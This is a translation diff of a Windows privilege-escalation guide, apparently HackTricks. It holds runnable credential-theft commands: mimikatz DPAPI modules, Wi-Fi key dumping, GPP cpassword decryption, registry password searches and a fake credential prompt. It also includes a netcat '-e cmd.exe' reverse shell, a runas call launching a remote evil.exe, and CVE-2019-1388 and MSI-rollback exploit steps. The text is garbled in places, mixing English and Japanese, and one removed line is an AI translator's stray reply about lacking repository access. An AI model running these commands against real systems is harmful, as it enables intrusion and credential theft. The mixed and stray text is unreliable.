を利用したい場合は、デフォルトのストレージ vault からそのリソースの資格情報を取得するために、何らかの方法で **credential manager と通信してそのリソースの資格情報を要求する** べきです。 +アプリケーションが Credential Manager と連携しない限り、特定のリソースの資格情報を利用することはできないと思われます。したがって、あなたのアプリケーションが vault を利用したいのであれば、デフォルトのストレージ vault からそのリソースの資格情報を取得するために、何らかの方法で**credential manager と通信して資格情報を要求する**必要があります。 Use the `cmdkey` to list the stored credentials on the machine. ```bash @@ -750,38 +760,38 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -その後、保存された資格情報を使用するために `runas` を `/savecred` オプション付きで使用できます。次の例は SMB share 経由でリモートのバイナリを呼び出すものです。 +その後、`/savecred` オプションを使って保存された資格情報を利用するために `runas` を使用できます。以下の例は SMB 共有経由でリモートのバイナリを呼び出すものです。 ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -提供された資格情報を使って `runas` を実行する。 +`runas` を提供された資格情報で使用する。 ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)。 +Note that mimikatz、lazagne、[credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html)、[VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html)、または[Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)でも利用できる点に注意してください。 ### DPAPI -The **Data Protection API (DPAPI)** は、データの対称暗号化の手段を提供します。主に Windows オペレーティングシステム内で、非対称の秘密鍵を対称的に暗号化するために使用されます。この暗号化は、ユーザーまたはシステムのシークレットを利用してエントロピーに大きく寄与します。 +The **Data Protection API (DPAPI)** は、データを対称暗号化するための手法を提供します。主に Windows オペレーティングシステム内で、非対称秘密鍵の対称暗号化に使用されます。この暗号化は、エントロピーに大きく寄与するユーザまたはシステムのシークレットを利用します。 -**DPAPI は、ユーザーのログインシークレットから派生した対称鍵を用いて鍵を暗号化することを可能にします**。システム暗号化の場面では、システムのドメイン認証シークレットを利用します。 +**DPAPI enables the encryption of keys through a symmetric key that is derived from the user's login secrets**。システム暗号化のケースでは、システムのドメイン認証シークレットを利用します。 -DPAPI を使用して暗号化されたユーザーの RSA 鍵は、`%APPDATA%\Microsoft\Protect\{SID}` ディレクトリに格納されます。ここで `{SID}` はユーザーの [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) を表します。**DPAPI キーは、ユーザーの秘密鍵を保護するマスターキーと同一ファイルに同居しており**、通常 64 bytes のランダムデータで構成されます。（このディレクトリへのアクセスは制限されており、CMD の `dir` コマンドで内容を一覧表示することはできませんが、PowerShell では一覧表示できますので注意してください。） +DPAPI を使用した暗号化済みのユーザ RSA キーは、`%APPDATA%\Microsoft\Protect\{SID}` ディレクトリに保存されます。ここで `{SID}` はユーザの [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) を表します。**The DPAPI key, co-located with the master key that safeguards the user's private keys in the same file** は、通常 64 バイトのランダムデータで構成されます。（このディレクトリへのアクセスは制限されており、CMD の `dir` コマンドでは内容を一覧できませんが、PowerShell では一覧できます。） ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -対象を復号するには、**mimikatz module** `dpapi::masterkey` を適切な引数（`/pvk` または `/rpc`）で使用できます。 +適切な引数（`/pvk` または `/rpc`）を指定して、**mimikatz module** `dpapi::masterkey` を使用して復号できます。 -**マスターパスワードで保護された資格情報ファイル**は通常次の場所にあります: +通常、**マスターパスワードで保護された認証情報ファイル** は以下にあります: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -適切な `/masterkey` を指定して、**mimikatz module** `dpapi::cred` を使って復号できます。\ -root の場合、`sekurlsa::dpapi` モジュールを使って **extract many DPAPI** **masterkeys** from **memory** が可能です。 +適切な `/masterkey` を使って復号するには、**mimikatz module** `dpapi::cred` を使用できます.\\ +`sekurlsa::dpapi` モジュールを使用すると（root の場合）、**多数の DPAPI を抽出** **masterkeys** を **memory** から取得できます。 {{#ref}} @@ -790,9 +800,9 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -**PowerShell credentials** は、暗号化された認証情報を便利に保存する手段として、**scripting** や自動化タスクでよく使用されます。これらの認証情報は **DPAPI** によって保護されており、通常は作成された同じユーザーが同じコンピュータ上でのみ復号できます。 +**PowerShell credentials** は、暗号化された認証情報を便利に保存するために、**スクリプト**や自動化タスクでよく使用されます。これらの認証情報は **DPAPI** で保護されており、通常は作成時と同じユーザーが同じコンピュータ上でのみ復号できます。 -それを含むファイルからPS credentialsを**復号**するには、次のようにします: +ファイルに含まれる PS 認証情報を **復号する** には、次のようにします: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -803,7 +813,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### 無線LAN +### 無線LAN (Wi-Fi) ```bash #List saved Wifi using netsh wlan show profile @@ -812,10 +822,10 @@ netsh wlan show profile key=clear #Oneliner to extract all wifi passwords cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on* ``` -### 保存されたRDP接続 +### 保存された RDP 接続 これらは `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -および `HKCU\Software\Microsoft\Terminal Server Client\Servers\` にあります。 +および `HKCU\Software\Microsoft\Terminal Server Client\Servers\` にあります ### 最近実行したコマンド ``` @@ -826,24 +836,19 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files`\ -Mimikatz の `dpapi::rdg` モジュールを適切な `/masterkey` と共に使用すると、任意の .rdg ファイルを **復号** できます。\ -You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module -Mimikatz の `sekurlsa::dpapi` モジュールを使用すると、メモリから多くの DPAPI masterkeys を **抽出** できます。 +Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ +Mimikatz の `sekurlsa::dpapi` モジュールを使うと、メモリから多くの **DPAPI masterkeys** を抽出できます ### Sticky Notes -People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. -Windows ワークステーションでは、StickyNotes アプリを使ってパスワードやその他の情報を保存していることがよくあり、それがデータベースファイルであることに気付いていない場合があります。このファイルは `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` にあり、常に検索して調査する価値があります。 +Windows のワークステーションでは、ユーザが StickyNotes app を使って、これがデータベースファイルであることに気づかずに **save passwords** やその他の情報を保存していることがよくあります。 +このファイルは `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` にあり、常に検索して調査する価値があります。 ### AppCmd.exe **Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ -**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ -If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. -**AppCmd.exe からパスワードを回復するには、Administrator 権限で High Integrity レベルで実行する必要がある点に注意してください。**\ **AppCmd.exe** は `%systemroot%\system32\inetsrv\` ディレクトリにあります。\ -このファイルが存在する場合、何らかの **credentials** が設定されており、**回復** できる可能性があります。 +このファイルが存在する場合、いくつかの **credentials** が設定されており、**recovered** できる可能性があります。 This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash @@ -925,38 +930,38 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -C:\Windows\CCM\SCClient.exe が存在するか確認する .\ -インストーラは **run with SYSTEM privileges**, 多くは **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +`C:\Windows\CCM\SCClient.exe` が存在するか確認してください .\ +インストーラーは **run with SYSTEM privileges**, 多くは **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** に対して脆弱です。 ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## ファイルとレジストリ（認証情報） +## ファイルと Registry (Credentials) -### Putty の認証情報 +### PuttyのCreds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty の SSH ホストキー +### Putty SSH ホストキー ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` ### レジストリ内の SSH keys -SSH private keys はレジストリキー `HKCU\Software\OpenSSH\Agent\Keys` に保存されることがあるため、そこに何か興味深いものがないか確認してください: +SSH private keys はレジストリキー `HKCU\Software\OpenSSH\Agent\Keys` に保存されていることがあるため、そこに興味深いものがないか確認してください： ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -そのパス内でエントリを見つけた場合、それはおそらく保存された SSH key です。暗号化された状態で保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) を使用して簡単に復号できます。\ -この手法の詳細は次を参照してください: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +そのパス内にエントリが見つかった場合、それはおそらく保存された SSH key です。暗号化されて保存されていますが、[https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) を使えば簡単に復号できます。\ +この手法の詳細はこちら: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -If `ssh-agent` service is not running and you want it to automatically start on boot run: +`ssh-agent` サービスが実行されておらず、起動時に自動で開始させたい場合は、次を実行してください: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> この手法はもう有効ではないようです。いくつかの ssh キーを作成し、`ssh-add` で追加して、ssh でマシンにログインしてみました。レジストリ HKCU\Software\OpenSSH\Agent\Keys は存在せず、procmon は非対称キー認証の間に `dpapi.dll` の使用を検出しませんでした。 +> この手法はもう有効ではないようです。ssh keysを作成し、`ssh-add`で追加してsshでマシンにログインしてみました。レジストリ HKCU\Software\OpenSSH\Agent\Keys は存在せず、procmon は非対称鍵認証の際に `dpapi.dll` の使用を検出しませんでした。 ### 放置されたファイル ``` @@ -973,7 +978,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -これらのファイルは **metasploit** を使って検索することもできます: _post/windows/gather/enum_unattend_ +これらのファイルは**metasploit**を使って検索することもできます: _post/windows/gather/enum_unattend_ 例の内容: ```xml @@ -994,7 +999,7 @@ dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>n ``` -### SAM & SYSTEM バックアップ +### SAM & SYSTEM のバックアップ ```bash # Usually %SYSTEMROOT% = C:\Windows %SYSTEMROOT%\repair\SAM @@ -1016,15 +1021,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -ファイル名 **SiteList.xml** を検索する +Search for a file called **SiteList.xml** ### キャッシュされた GPP パスワード -以前は、Group Policy Preferences (GPP) を介して複数のマシンにカスタムのローカル管理者アカウントを展開できる機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOL に XML ファイルとして格納される Group Policy Objects (GPOs) は任意のドメインユーザーが参照できました。次に、これらの GPP 内のパスワードは、公開されているデフォルトキーを使用して AES256 で暗号化されていましたが、任意の認証済みユーザーによって復号可能でした。これにより、ユーザーが特権を獲得する可能性があり、深刻なリスクとなっていました。 +以前、Group Policy Preferences (GPP) を介して複数のマシンにカスタムのローカル管理者アカウントを配布できる機能がありました。しかし、この方法には重大なセキュリティ上の欠陥がありました。まず、SYSVOL に XML ファイルとして格納されている Group Policy Objects (GPOs) は、任意のドメインユーザーがアクセスできました。次に、これらの GPP 内のパスワードは、公開されている既定のキーを用いて AES256 で暗号化されており、認証済みユーザーであれば復号できました。これはユーザーが権限昇格を行える可能性があり、深刻なリスクをもたらしました。 -このリスクを軽減するため、"cpassword" フィールドが空でないローカルにキャッシュされた GPP ファイルをスキャンする機能が作られました。該当ファイルが見つかると、その関数はパスワードを復号してカスタムの PowerShell オブジェクトを返します。このオブジェクトには GPP の詳細とファイルの場所が含まれ、脆弱性の特定と修復に役立ちます。 +このリスクを軽減するために、"cpassword" フィールドが空でないローカルにキャッシュされた GPP ファイルをスキャンする関数が開発されました。該当するファイルを見つけると、その関数はパスワードを復号し、カスタムの PowerShell オブジェクトを返します。このオブジェクトには GPP の詳細とファイルの場所が含まれており、このセキュリティ脆弱性の特定と修復を支援します。 -`C:\ProgramData\Microsoft\Group Policy\history` または _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history**（Windows Vista より前）_ を以下のファイルについて検索する: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml @@ -1033,16 +1038,16 @@ AppData\Roaming\gcloud\access_tokens.db - Printers.xml - Drives.xml -**To decrypt the cPassword:** +**cPassword を復号するには:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw ``` -crackmapexecを使用して passwords を取得する: +crackmapexec を使ってパスワードを取得する： ```bash crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin ``` -### IIS Web 設定 +### IISのWeb Config ```bash Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` @@ -1096,7 +1101,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct ``` ### credentials を尋ねる -ユーザーがそれらを知っていると思われる場合は、常にユーザーに**自身のcredentials、または別のユーザーのcredentialsを入力するよう頼むことができます**（ただしクライアントに直接**credentials**を**尋ねる**のは非常に**危険**であることに注意してください）： +ユーザーが知っている可能性があると思うなら、常に **ユーザーに自身の credentials、あるいは別のユーザーの credentials を入力するよう頼むことができます**（ただし、クライアントに直接 **尋ねる** ことで **credentials** を要求するのは非常に **危険** であることに注意してください）： ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1170,7 +1175,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -I don't have access to your repository. Please paste the content of src/windows-hardening/windows-local-privilege-escalation/README.md (or the list of proposed files you'd like searched). I'll then translate the English text to Japanese while preserving all markdown, tags, links, and paths exactly as you requested. +提案されたすべてのファイルを検索してください: ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll" @@ -1179,15 +1184,15 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd ``` Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")} ``` -### RecycleBin の資格情報 +### RecycleBin内の資格情報 -Bin も確認して、その中に資格情報がないか探してください +Binもチェックして、そこに資格情報がないか確認してください -いくつかのプログラムに保存された**パスワードを回復する**には、次を使用できます: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) +To **recover passwords** saved by several programs you can use: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html) ### レジストリ内 -**資格情報を含むその他のレジストリキー** +**資格情報を含むその他の可能性のあるレジストリキー** ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s @@ -1198,10 +1203,10 @@ reg query "HKCU\Software\OpenSSH\Agent\Key" ### ブラウザの履歴 -Chrome or Firefox からのパスワードが保存されている dbs を確認するべきです。\ -ブラウザの履歴、ブックマーク、お気に入りもチェックしてください。そこにパスワードが保存されている場合があります。 +パスワードが保存されている**Chrome or Firefox**のdbを確認してください。\ +また、ブラウザの履歴、ブックマーク、ファビリット（お気に入り）も確認し、そこに**passwords are**保存されている可能性もあります。 -ブラウザからパスワードを抽出するツール: +ブラウザからパスワードを抽出するためのツール: - Mimikatz: `dpapi::chrome` - [**SharpWeb**](https://github.com/djhohnstein/SharpWeb) @@ -1210,17 +1215,18 @@ Chrome or Firefox からのパスワードが保存されている dbs を確認 ### **COM DLL Overwriting** -**Component Object Model (COM)** は Windows オペレーティングシステム内に組み込まれた技術で、異なる言語のソフトウェアコンポーネント間の**相互通信**を可能にします。各 COM コンポーネントは**identified via a class ID (CLSID)** で識別され、各コンポーネントは一つ以上のインターフェース（identified via interface IDs (IIDs)）を通じて機能を公開します。 +Component Object Model (COM) は、Windows オペレーティングシステムに組み込まれた技術で、異なる言語で書かれたソフトウェアコンポーネント間の相互通信を可能にします。各 COM コンポーネントは class ID (CLSID) で識別され、各コンポーネントは一つ以上のインターフェースを介して機能を公開し、そのインターフェースは interface IDs (IIDs) で識別されます。 -COM クラスとインターフェースはそれぞれレジストリの **HKEY\CLASSES\ROOT\CLSID** および **HKEY\CLASSES\ROOT\Interface** に定義されています。このレジストリは **HKEY\LOCAL\MACHINE\Software\Classes** + **HKEY\CURRENT\USER\Software\Classes** をマージして作成され、結果が **HKEY\CLASSES\ROOT** になります。 +COM クラスおよびインターフェースは、それぞれレジストリの **HKEY\CLASSES\ROOT\CLSID** および **HKEY\CLASSES\ROOT\Interface** の下で定義されています。これらのレジストリは **HKEY\LOCAL\MACHINE\Software\Classes** と **HKEY\CURRENT\USER\Software\Classes** をマージして作成され、結果が **HKEY\CLASSES\ROOT** となります。 -Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment**（単一スレッド）, **Free**（マルチスレッド）, **Both**（単一またはマルチ）, or **Neutral**（スレッドニュートラル）. +Inside the CLSIDs of this registry you can find the child registry **InProcServer32** which contains a **default value** pointing to a **DLL** and a value called **ThreadingModel** that can be **Apartment** (Single-Threaded), **Free** (Multi-Threaded), **Both** (Single or Multi) or **Neutral** (Thread Neutral). ![](<../../images/image (729).png>) -基本的に、実行される DLL のいずれかを**overwrite**できれば、その DLL が別のユーザーによって実行される場合に **escalate privileges** できる可能性があります。 +基本的に、実行される DLL のいずれかを上書きできれば、その DLL が別のユーザーによって実行される場合に、escalate privileges することが可能です。 + +To learn how attackers use COM Hijacking as a persistence mechanism check: -攻撃者が COM Hijacking を永続化メカニズムとしてどのように使用するかを学ぶには、次を参照してください: {{#ref}} com-hijacking.md @@ -1228,7 +1234,7 @@ com-hijacking.md ### **Generic Password search in files and registry** -**ファイルの内容を検索する** +**ファイル内容を検索する** ```bash cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt findstr /si password *.xml *.ini *.txt *.config @@ -1240,20 +1246,20 @@ dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* where /R C:\ user.txt where /R C:\ *.ini ``` -**registry内の key names と passwords を検索する** +**レジストリでキー名とパスワードを検索する** ```bash REG QUERY HKLM /F "password" /t REG_SZ /S /K REG QUERY HKCU /F "password" /t REG_SZ /S /K REG QUERY HKLM /F "password" /t REG_SZ /S /d REG QUERY HKCU /F "password" /t REG_SZ /S /d ``` -### パスワードを検索するツール +### passwords を検索するツール -[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **is a msf** プラグインで、被害者システム内で credentials を検索するすべての **metasploit POST module** を **automatically execute every metasploit POST module that searches for credentials** ように自動実行するために作成されました。\ -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) はこのページで言及されているパスワードを含むすべてのファイルを自動的に検索します。\ -[**Lazagne**](https://github.com/AlessandroZ/LaZagne) はシステムからパスワードを抽出する優れたツールです。 +[**MSF-Credentials Plugin**](https://github.com/carlospolop/MSF-Credentials) **msf の** plugin 私はこのプラグインを作成し、被害者内で**credentialsを検索するすべてのmetasploit POSTモジュールを自動的に実行する**ようにしました。\ +[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) はこのページで言及されているpasswordsを含むすべてのファイルを自動的に検索します。\ +[**Lazagne**](https://github.com/AlessandroZ/LaZagne) は、システムからpasswordを抽出するもう一つの優れたツールです。 -ツール [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) は、このデータを平文で保存するいくつかのツール（PuTTY、WinSCP、FileZilla、SuperPuTTY、RDP）の **sessions**, **usernames** および **passwords** を検索します。 +ツール [**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) は、これらのデータをclear textで保存するいくつかのツール（PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP）の**sessions**、**usernames**、および**passwords**を検索します。 ```bash Import-Module path\to\SessionGopher.ps1; Invoke-SessionGopher -Thorough @@ -1269,23 +1275,23 @@ Then, if you have **full access to the low privileged process**, you can grab th ## Named Pipe Client Impersonation -Shared memory segments, referred to as **pipes**, enable process communication and data transfer. +プロセス間通信とデータ転送を可能にする共有メモリセグメントは、**pipes**と呼ばれます。 -Windows provides a feature called **Named Pipes**, allowing unrelated processes to share data, even over different networks. This resembles a client/server architecture, with roles defined as **named pipe server** and **named pipe client**. +Windowsは**Named Pipes**という機能を提供しており、異なるプロセスやネットワーク間でもデータ共有ができます。これはクライアント/サーバーの構成に似ており、役割は**named pipe server**と**named pipe client**として定義されます。 -When data is sent through a pipe by a **client**, the **server** that set up the pipe has the ability to **take on the identity** of the **client**, assuming it has the necessary **SeImpersonate** rights. Identifying a **privileged process** that communicates via a pipe you can mimic provides an opportunity to **gain higher privileges** by adopting the identity of that process once it interacts with the pipe you established. For instructions on executing such an attack, helpful guides can be found [**here**](named-pipe-client-impersonation.md) and [**here**](#from-high-integrity-to-system). +クライアントが**pipe**を通じてデータを送信すると、そのpipeを設定した**server**は必要な**SeImpersonate**権限を持っていれば**clientのアイデンティティを引き受ける**ことができます。あなたが模倣できるpipe経由で通信する**特権プロセス**を特定できれば、そのプロセスがあなたの作成したpipeとやり取りした際にそのアイデンティティを引き受けることで、**より高い権限を得る**チャンスが生まれます。この攻撃を実行する手順については、[**here**](named-pipe-client-impersonation.md)および[**here**](#from-high-integrity-to-system)のガイドが参考になります。 -Also the following tool allows to **intercept a named pipe communication with a tool like burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **and this tool allows to list and see all the pipes to find privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) +また、次のツールはburpのようなツールで**named pipeの通信をインターセプト**することを可能にします: [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **そして別のツールはすべてのpipeを一覧表示してprivescsを見つけるのに使えます** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer) ## Misc ### File Extensions that could execute stuff in Windows -Check out the page **https://filesec.io/** +ページを参照してください: **[https://filesec.io/](https://filesec.io/)** ### **Monitoring Command Lines for passwords** -When getting a shell as a user, there may be scheduled tasks or other processes being executed which **pass credentials on the command line**. The script below captures process command lines every two seconds and compares the current state with the previous state, outputting any differences. +ユーザーとしてシェルを得た場合、スケジュールされたタスクや他のプロセスが**コマンドラインで認証情報を渡す**ことがあります。以下のスクリプトは、プロセスのコマンドラインを2秒ごとにキャプチャし、現在の状態を前回の状態と比較して差分を出力します。 ```bash while($true) { @@ -1295,15 +1301,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine Compare-Object -ReferenceObject $process -DifferenceObject $process2 } ``` -## プロセスからのパスワード取得 +## プロセスからのパスワード窃取 ## 低権限ユーザーから NT\AUTHORITY SYSTEM へ (CVE-2019-1388) / UAC Bypass -グラフィカルインターフェイス（console または RDP 経由）にアクセスでき、UAC が有効な場合、Microsoft Windows の一部のバージョンでは低権限ユーザーからでもターミナルや他のプロセス（例: "NT\AUTHORITY SYSTEM"）を実行することが可能です。 +グラフィカルインターフェース（console または RDP 経由）にアクセスでき、UAC が有効になっている場合、いくつかの Microsoft Windows のバージョンでは、低権限ユーザーから "NT\AUTHORITY SYSTEM" のような terminal やその他のプロセスを実行することが可能です。 -これにより、同じ脆弱性を使って特権昇格と UAC のバイパスを同時に行うことができます。さらに、何もインストールする必要はなく、プロセス中に使用されるバイナリは Microsoft によって署名・発行されています。 +これにより、同じ脆弱性を利用して権限昇格と UAC のバイパスを同時に行うことが可能になります。さらに、何もインストールする必要はなく、プロセスで使用される binary は署名されており Microsoft によって発行されています。 -影響を受けるシステムの一部は次のとおりです: +影響を受けるシステムの一部は以下の通りです: ``` SERVER ====== @@ -1325,7 +1331,7 @@ Windows 10 1607 14393 ** link OPENED AS SYSTEM ** Windows 10 1703 15063 link NOT opened Windows 10 1709 16299 link NOT opened ``` -この脆弱性を悪用するには、次の手順を実行する必要があります： +この脆弱性を悪用するには、次の手順を実行する必要があります: ``` 1) Right click on the HHUPD.EXE file and run it as Administrator. @@ -1343,20 +1349,20 @@ Windows 10 1709 16299 link NOT opened 8) Remember to cancel setup and the UAC prompt to return to your desktop. ``` -You have all the necessary files and information in the following GitHub repository: +必要なファイルと情報は以下のGitHubリポジトリにすべてあります: https://github.com/jas502n/CVE-2019-1388 ## From Administrator Medium to High Integrity Level / UAC Bypass -Integrity Levels について学ぶには、次を読んでください： +Integrity Levels について学ぶには、これを読んでください: {{#ref}} integrity-levels.md {{#endref}} -次に、UAC と UAC bypass について学ぶには、こちらを読んでください： +次に UAC と UAC bypasses について学ぶには、これを読んでください: {{#ref}} @@ -1367,124 +1373,129 @@ integrity-levels.md この手法は [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) で説明されており、エクスプロイトコードは [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs) にあります。 -攻撃は基本的に、Windows Installer の rollback 機能を悪用して、アンインストール時に正規ファイルを悪意のあるファイルに置き換えるものです。そのために攻撃者は、`C:\Config.Msi` フォルダをハイジャックするための **malicious MSI installer** を作成する必要があります。このフォルダは、他の MSI パッケージをアンインストールする際に、rollback ファイルを格納するために Windows Installer によって使用され、その rollback ファイルが悪意のペイロードを含むように改変されます。 +この攻撃は基本的に Windows Installer の rollback 機能を悪用し、アンインストール時に正規ファイルを悪意あるファイルに置き換えるものです。これには、攻撃者が `C:\Config.Msi` フォルダをハイジャックするための **malicious MSI installer** を作成する必要があります。後に Windows Installer が他の MSI パッケージのアンインストール中に rollback ファイルを保存するためにこのフォルダを使用し、その rollback ファイルが悪意のあるペイロードに書き換えられることになります。 -要約すると、手法は次の通りです： +手法の要約は次の通りです: 1. **Stage 1 – Preparing for the Hijack (leave `C:\Config.Msi` empty)** - Step 1: Install the MSI - - 書き込み可能なフォルダ（`TARGETDIR`）に無害なファイル（例: `dummy.txt`）をインストールする `.msi` を作成します。 - - インストーラを **"UAC Compliant"** にマークし、**非管理者ユーザー** 